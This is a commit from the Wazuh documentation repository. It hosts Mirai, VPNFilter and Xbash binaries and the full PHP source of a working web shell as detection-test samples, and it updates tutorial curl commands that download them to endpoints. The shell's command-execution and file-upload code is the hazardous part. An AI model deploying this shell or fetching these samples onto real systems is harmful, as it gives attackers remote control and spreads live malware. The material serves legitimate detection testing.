Skip to content

Commit 3b96e2c

Browse files
ayodekoayodeko
authored
Merge pull request #8961 from wazuh/change/idr371-host-malware-samples
Host malware samples in documentation repository
2 parents f4c212a + b958b66 commit 3b96e2c

File tree

9 files changed

+85
-14
lines changed

9 files changed

+85
-14
lines changed

‎CHANGELOG.md‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@ All notable changes to this project will be documented in this file.
1515
- **Post-release**: Updated the *Navigating the Wazuh dashboard* section. ([#8950](https://github.com/wazuh/wazuh-documentation/pull/8950))
1616
- **Post-release**: Updated the System inventory documentation. ([#8955](https://github.com/wazuh/wazuh-documentation/pull/8955))
1717
- **Post-release**: Updated the *Getting started* guide. ([#8962](https://github.com/wazuh/wazuh-documentation/pull/8962)) ([#8963](https://github.com/wazuh/wazuh-documentation/pull/8963)) ([#8964](https://github.com/wazuh/wazuh-documentation/pull/8964)) ([#8965](https://github.com/wazuh/wazuh-documentation/pull/8965))
18+
- **Post-release**: Updated the URLs of malware samples. ([#8961](https://github.com/wazuh/wazuh-documentation/pull/8961))
1819

1920
### Fixed
2021

‎resources/samples/mirai‎

77.9 KB
Binary file not shown.

‎resources/samples/vpn_filter‎

284 KB
Binary file not shown.

‎resources/samples/webshell‎

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
<?php
2+
3+
set_magic_quotes_runtime(0);
4+
5+
print "<style>body{font-family:trebuchet ms;font-size:16px;}hr{width:100%;height:2px;}</style>";
6+
print "<center><h1>#worst @dal.net</h1></center>";
7+
print "<center><h1>You have been hack By Shany with Love To #worst.</h1></center>";
8+
print "<center><h1>Watch Your system Shany was here.</h1></center>";
9+
print "<center><h1>Linux Shells</h1></center>";
10+
print "<hr><hr>";
11+
12+
$currentWD = str_replace("\\\\","\\",$_POST['_cwd']);
13+
$currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);
14+
15+
$UName = `uname -a`;
16+
$SCWD = `pwd`;
17+
$UserID = `id`;
18+
19+
if( $currentWD == "" ) {
20+
$currentWD = $SCWD;
21+
}
22+
23+
print "<table>";
24+
print "<tr><td><b>We are:</b></td><td>".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].")</td></tr>";
25+
print "<tr><td><b>Server is:</b></td><td>".$_SERVER['SERVER_SIGNATURE']."</td></tr>";
26+
print "<tr><td><b>System type:</b></td><td>$UName</td></tr>";
27+
print "<tr><td><b>Our permissions:</b></td><td>$UserID</td></tr>";
28+
print "</table>";
29+
30+
print "<hr><hr>";
31+
32+
if( $_POST['_act'] == "List files!" ) {
33+
$currentCMD = "ls -la";
34+
}
35+
36+
print "<form method=post enctype=\"multipart/form-data\"><table>";
37+
38+
print "<tr><td><b>Execute command:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";
39+
print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";
40+
41+
print "<tr><td><b>Change directory:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";
42+
print "<td><input type=submit name=_act value=\"List files!\"></td></tr>";
43+
44+
print "<tr><td><b>Upload file:</b></td><td><input size=85 type=file name=_upl></td>";
45+
print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";
46+
47+
print "</table></form><hr><hr>";
48+
49+
$currentCMD = str_replace("\\\"","\"",$currentCMD);
50+
$currentCMD = str_replace("\\\'","\'",$currentCMD);
51+
52+
if( $_POST['_act'] == "Upload!" ) {
53+
if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {
54+
print "<center><b>Error while uploading file!</b></center>";
55+
} else {
56+
print "<center><pre>";
57+
system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
58+
print "</pre><b>File uploaded successfully!</b></center>";
59+
}
60+
} else {
61+
print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";
62+
$currentCMD = "cd ".$currentWD.";".$currentCMD;
63+
system($currentCMD);
64+
print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>Command completed</b></center>";
65+
}
66+
67+
exit;
68+
69+
?>
70+

‎resources/samples/xbash‎

9.13 MB
Binary file not shown.

‎source/proof-of-concept-guide/detect-malware-yara-integration.rst‎

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -283,25 +283,25 @@ Attack emulation
283283
# Mirai
284284
echo "# Mirai: https://en.wikipedia.org/wiki/Mirai_(malware)"
285285
echo "Downloading malware sample..."
286-
fetch_sample "https://wazuh-demo.s3-us-west-1.amazonaws.com/mirai" "/tmp/yara/malware/mirai" && echo "Done!" || echo "Error while downloading."
286+
fetch_sample "https://raw.githubusercontent.com/wazuh/wazuh-documentation/refs/heads/|WAZUH_CURRENT_MINOR|/resources/samples/mirai" "/tmp/yara/malware/mirai" && echo "Done!" || echo "Error while downloading."
287287
echo
288288
289289
# Xbash
290290
echo "# Xbash: https://unit42.paloaltonetworks.com/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
291291
echo "Downloading malware sample..."
292-
fetch_sample "https://wazuh-demo.s3-us-west-1.amazonaws.com/xbash" "/tmp/yara/malware/xbash" && echo "Done!" || echo "Error while downloading."
292+
fetch_sample "https://raw.githubusercontent.com/wazuh/wazuh-documentation/refs/heads/|WAZUH_CURRENT_MINOR|/resources/samples/xbash" "/tmp/yara/malware/xbash" && echo "Done!" || echo "Error while downloading."
293293
echo
294294
295295
# VPNFilter
296296
echo "# VPNFilter: https://news.sophos.com/en-us/2018/05/24/vpnfilter-botnet-a-sophoslabs-analysis/"
297297
echo "Downloading malware sample..."
298-
fetch_sample "https://wazuh-demo.s3-us-west-1.amazonaws.com/vpn_filter" "/tmp/yara/malware/vpn_filter" && echo "Done!" || echo "Error while downloading."
298+
fetch_sample "https://raw.githubusercontent.com/wazuh/wazuh-documentation/refs/heads/|WAZUH_CURRENT_MINOR|/resources/samples/vpn_filter" "/tmp/yara/malware/vpn_filter" && echo "Done!" || echo "Error while downloading."
299299
echo
300300
301301
# Webshell
302302
echo "# WebShell: https://github.com/SecWiki/WebShell-2/blob/master/Php/Worse%20Linux%20Shell.php"
303303
echo "Downloading malware sample..."
304-
fetch_sample "https://wazuh-demo.s3-us-west-1.amazonaws.com/webshell" "/tmp/yara/malware/webshell" && echo "Done!" || echo "Error while downloading."
304+
fetch_sample "https://raw.githubusercontent.com/wazuh/wazuh-documentation/refs/heads/|WAZUH_CURRENT_MINOR|/resources/samples/webshell" "/tmp/yara/malware/webshell" && echo "Done!" || echo "Error while downloading."
305305
echo
306306
fi
307307

‎source/proof-of-concept-guide/leveraging-llms-for-alert-enrichment.rst‎

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -633,9 +633,9 @@ Run the following commands on the Ubuntu endpoint to download malware samples to
633633

634634
.. code-block:: console
635635
636-
# curl "https://wazuh-demo.s3-us-west-1.amazonaws.com/mirai" > /home/mirai
637-
# curl "https://wazuh-demo.s3-us-west-1.amazonaws.com/xbash" > /home/xbash
638-
# curl "https://wazuh-demo.s3-us-west-1.amazonaws.com/webshell" > /home/webshell
636+
# curl "https://raw.githubusercontent.com/wazuh/wazuh-documentation/refs/heads/|WAZUH_CURRENT_MINOR|/resources/samples/mirai" > /home/mirai
637+
# curl "https://raw.githubusercontent.com/wazuh/wazuh-documentation/refs/heads/|WAZUH_CURRENT_MINOR|/resources/samples/xbash" > /home/xbash
638+
# curl "https://raw.githubusercontent.com/wazuh/wazuh-documentation/refs/heads/|WAZUH_CURRENT_MINOR|/resources/samples/webshell" > /home/webshell
639639
640640
You can visualize the alert data in the Wazuh dashboard. To do this, go to the **Modules** > **Security events** tab and add the ``rule.groups:yara`` filter in the search bar to query the alerts.
641641

@@ -668,9 +668,9 @@ Run the following commands via PowerShell to download malware samples to the mon
668668

669669
.. code-block:: powershell
670670
671-
> curl "https://wazuh-demo.s3-us-west-1.amazonaws.com/mirai" -o $env:USERPROFILE\Downloads\mirai
672-
> curl "https://wazuh-demo.s3-us-west-1.amazonaws.com/xbash" -o $env:USERPROFILE\Downloads\xbash
673-
> curl "https://wazuh-demo.s3-us-west-1.amazonaws.com/webshell" -o $env:USERPROFILE\Downloads\webshell
671+
> curl "https://raw.githubusercontent.com/wazuh/wazuh-documentation/refs/heads/|WAZUH_CURRENT_MINOR|/resources/samples/mirai" -o $env:USERPROFILE\Downloads\mirai
672+
> curl "https://raw.githubusercontent.com/wazuh/wazuh-documentation/refs/heads/|WAZUH_CURRENT_MINOR|/resources/samples/xbash" -o $env:USERPROFILE\Downloads\xbash
673+
> curl "https://raw.githubusercontent.com/wazuh/wazuh-documentation/refs/heads/|WAZUH_CURRENT_MINOR|/resources/samples/webshell" -o $env:USERPROFILE\Downloads\webshell
674674
675675
You can visualize the alert data in the Wazuh dashboard. To do this, go to the **Security events** module and add the filter in the search bar to query the alerts.
676676

‎source/user-manual/capabilities/malware-detection/cdb-lists-threat-intelligence.rst‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -118,8 +118,8 @@ To test that everything works correctly, download the *Mirai* and *Xbash* malwar
118118

119119
.. code-block:: console
120120
121-
$ sudo curl https://wazuh-demo.s3-us-west-1.amazonaws.com/mirai --output <PATH_TO_MONITORED_DIRECTORY>/mirai
122-
$ sudo curl https://wazuh-demo.s3-us-west-1.amazonaws.com/xbash --output <PATH_TO_MONITORED_DIRECTORY>/Xbash
121+
$ sudo curl https://raw.githubusercontent.com/wazuh/wazuh-documentation/refs/heads/|WAZUH_CURRENT_MINOR|/resources/samples/mirai --output <PATH_TO_MONITORED_DIRECTORY>/mirai
122+
$ sudo curl https://raw.githubusercontent.com/wazuh/wazuh-documentation/refs/heads/|WAZUH_CURRENT_MINOR|/resources/samples/xbash --output <PATH_TO_MONITORED_DIRECTORY>/Xbash
123123
124124
Visualize the alerts
125125
^^^^^^^^^^^^^^^^^^^^

‎source/user-manual/capabilities/malware-detection/fim-yara.rst‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -319,8 +319,8 @@ To test that everything is working correctly, we use the *Mirai* and *Xbash* mal
319319

320320
.. code-block:: console
321321
322-
$ curl https://wazuh-demo.s3-us-west-1.amazonaws.com/mirai --output ~/mirai
323-
$ curl https://wazuh-demo.s3-us-west-1.amazonaws.com/xbash --output ~/Xbash
322+
$ curl https://raw.githubusercontent.com/wazuh/wazuh-documentation/refs/heads/|WAZUH_CURRENT_MINOR|/resources/samples/mirai --output ~/mirai
323+
$ curl https://raw.githubusercontent.com/wazuh/wazuh-documentation/refs/heads/|WAZUH_CURRENT_MINOR|/resources/samples/xbash --output ~/Xbash
324324
$ sudo mv ~/mirai /root/
325325
$ sudo mv ~/Xbash /root/
326326

0 commit comments

Comments
 (0)